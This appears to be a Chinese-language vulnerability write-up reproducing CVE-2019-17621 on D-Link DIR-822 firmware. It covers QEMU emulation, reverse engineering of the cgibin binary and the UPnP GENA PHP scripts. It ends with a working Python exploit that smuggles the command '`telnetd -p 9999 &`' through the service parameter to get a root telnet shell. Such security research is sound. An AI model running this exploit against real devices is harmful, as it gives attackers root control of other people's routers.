CVE - CVE-2019-17621 (mitre.org)
漏洞服务:UPnP
相关URL:/gena.cgi
描述:给UPnP服务发送构造好的HTTP SUBSCRIBE请求,实现root权限RCE。
固件下载链接
$ sudo python3 ./sources/extractor/extractor.py -b DLink -sql 127.0.0.1 -np -nk ./DIR822A1_FW103WWb03.bin images/
$ ./scripts/getArch.sh ./images/1.tar.gz
./bin/busybox: mipseb
# 导入数据库
$ sudo python ./scripts/tar2db.py -i 1 -f ./images/1.tar.gz
# 制作qemu镜像
$ sudo ./scripts/makeImage.sh 1 mipseb
# 判断网络结构
$ sudo ./scripts/inferNetwork.sh 1 mipseb
...
Interfaces: [('br0', '192.168.0.1'), ('br1', '192.168.7.1')]
Done!
$ sudo ./scratch/1/run.sh
至此已经可以通过192.168.0.1访问路由器页面了,虚拟机也进入shel了l,只是一直在输出device ioctl:: Operation not supported
。。。
因为qemu system模拟得不太完美,用qemu user来打一下辅助。
解压文件系统进行分析:
cd images
sudo mkdir 1
sudo tar -xf 1.tar.gz -C 1/
cd 1
# 把qemu user拷过来备用
sudo cp $(which qemu-mips-static) ./
大概浏览一下,关注到服务器目录htdocs目录下的cgibin可执行文件:
$ file htdocs/cgibin
htdocs/cgibin: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
运行一下:
$ sudo chroot . ./qemu-mips-static ./htdocs/cgibin ./htdocs/phpcgi
CGI.BIN, unknown command cgibin
报这个错是因为没有指定url参数:
.text:0040323C jalr $t9 ; printf
.text:00403240 li $a0, format # "CGI.BIN, unknown command %s\n"
用qemu -0指定即可:
sudo chroot . ./qemu-mips-static -0 "htdocs/phpcgi" /htdocs/cgibin
$ sudo nmap -sV 192.168.0.1
...
Starting Nmap 7.60 ( https://nmap.org ) at 2022-04-19 19:06 CST
Nmap scan report for 192.168.0.1 (192.168.0.1)
Host is up (0.034s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http WebServer
443/tcp open ssl/https WebServer
49152/tcp open unknown
全局搜索一下49152,根据/etc/services/HTTP/httpsvcs.php
可以判断这个端口和upnp协议有关:
function httpsetup($name)
{
//...
$upnp = query($infp."/upnp/count");
$dirty = 0;
$port = "49152";
//...
/* Create the device description files */
$vdir = "/var/htdocs/upnp/".$name;
//...
{
startcmd("ln -s /htdocs/cgibin ".$vdir."/soap.cgi");
startcmd("ln -s /htdocs/cgibin ".$vdir."/gena.cgi");
}
//...
}
在qemu里查看下端口,是httpd监听了这个端口:
# netstat -tnlp | grep 49152
tcp 0 0 192.168.0.1:49152 0.0.0.0:* LISTEN 19269/httpd
Universal Plug and Play
可参考这篇文章:UPnP协议利用 - 简书 (jianshu.com)
漏洞位于genacgi_main函数,在处理http subscribe请求时,会有如下逻辑:
// getenv("REQUEST_METHOD") == "SUBSCRIBE";
// getenv("REQUEST_URI") == "/gena.cgi?service=...";
// a1_service即service参数值
int __fastcall sub_40FCE0(const char *a1_service)
{
//...
v2_SERVER_ID = getenv("SERVER_ID");
v3_HTTP_SID = getenv("HTTP_SID");
v4_HTTP_CALLBACK = getenv("HTTP_CALLBACK");
v5_HTTP_TIMEOUT = getenv("HTTP_TIMEOUT");
v6_HTTP_NT = getenv("HTTP_NT");
v7_REMOTE_ADDR = getenv("REMOTE_ADDR");
//...
if ( v3_HTTP_SID )
{
//...
return 0;
}
//...
v17 = getpid();
snprintf(
v23_buf,
0x200u,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh",
"/htdocs/upnp/run.NOTIFY.php",
v2_SERVER_ID,
a1_service,
v13 + 7,
v16 + 1,
v10,
v7_REMOTE_ADDR,
"/var/run",
a1_service,
v17);
xmldbc_ephp(0, 0, v23_buf, (int)stdout);
//...
}
看下/htdocs/upnp/run.NOTIFY.php
逻辑:
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")
{
if ($SID == "") // 和反汇编不设置sid的逻辑一致
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
?>
问题出在GENA_subscribe_new内部,文件gena.php:
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
//...
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
//...
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
" -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
" -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
" -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}
变量shell_file来自于cgibin中的SHELL_FILE=%s/%s_%d.sh %(service, PID)
,其中service是url中的可控参数。php在最后加了句rm指令,用来删除自身。
如果将$shell_file写为用反引号包裹的系统命令(如后台开启telnetd),在脚本执行 rm
命令时因遇到 反引号而失败,继续执行引号里面的系统命令,就能出发RCE。
根据main的参数字符串比较,要想跳转到漏洞函数,需要设置几个环境变量(不是随便设置,需要通过sprintf之前的检查),并访问htdocs/gena.cgi:
# HTTP_SID=NULL
sudo chroot ./ ./qemu-mips-static \
-E REQUEST_METHOD="SUBSCRIBE" \
-E REQUEST_URI="SUBSCRIBE /gena.cgi?service=L3Forwarding1" \
-E SERVER_ID="server_id" \
-E HTTP_NT="upnp:event" \
-E HTTP_CALLBACK="/" \
-E HTTP_TIMEOUT="Second-1800" \
-E REMOTE_ADDR="192.168.0.1" \
-E HTTP_COOKIE="aaaaaaaa" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-g 1234 -0 htdocs/gena.cgi /htdocs/cgibin
在目标snprintf处下断点,成功断下:
.text:0040FEE4 addiu $s1, $sp, 0x244+v23_buf # buf存在s1里
...
.text:0040FF34 jalr $t9 ; snprintf
.text:0040FF38 sw $s0, 0x244+var_218($sp)
.text:0040FF3C move $a2, $s1
.text:0040FF40 move $a1, $zero
.text:0040FF44 lw $gp, 0x244+var_20C($sp)
.text:0040FF48 lw $a3, (stdout - 0x43E0FC)($s4)
.text:0040FF4C la $t9, xmldbc_ephp
.text:0040FF50 jalr $t9 ; xmldbc_ephp # xmldbc_ephp(0,0, )
不过因为非系统级仿真,最终在connect时失败了。
#!/usr/bin/python3
# get shell
# sudo python3 exp.py
import socket
import os
from time import sleep
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}'.format(host=server, port=port))
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: \n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
print('[*] Sending Payload')
sleep(1)
con.connect((socket.gethostbyname(server), port))
con.send(request.encode())
results = con.recv(4096)
print('[*] Running Telnetd Service')
sleep(2)
print('[*] Opening Telnet Connection\n')
os.system('telnet ' + str(server) + ' 9999')
serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
执行后,就会连上目标的telnet,可以看下fwrite写的文件:
# ls -l var/run
...
-rw-rw-rw- 1 root 0 309 Jan 1 07:20 `telnetd -p 9999 &`_19982.sh
DLink RCE漏洞CVE-2019-17621分析 - FreeBuf网络安全行业门户
D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析复现 (qq.com)
D-Link DIR-859的RCE漏洞(CVE-2019–17621)_NOSEC2019的博客-CSDN博客_sprintf漏洞
UPnP协议利用 - 简书 (jianshu.com)
printf(3) - Linux manual page (man7.org)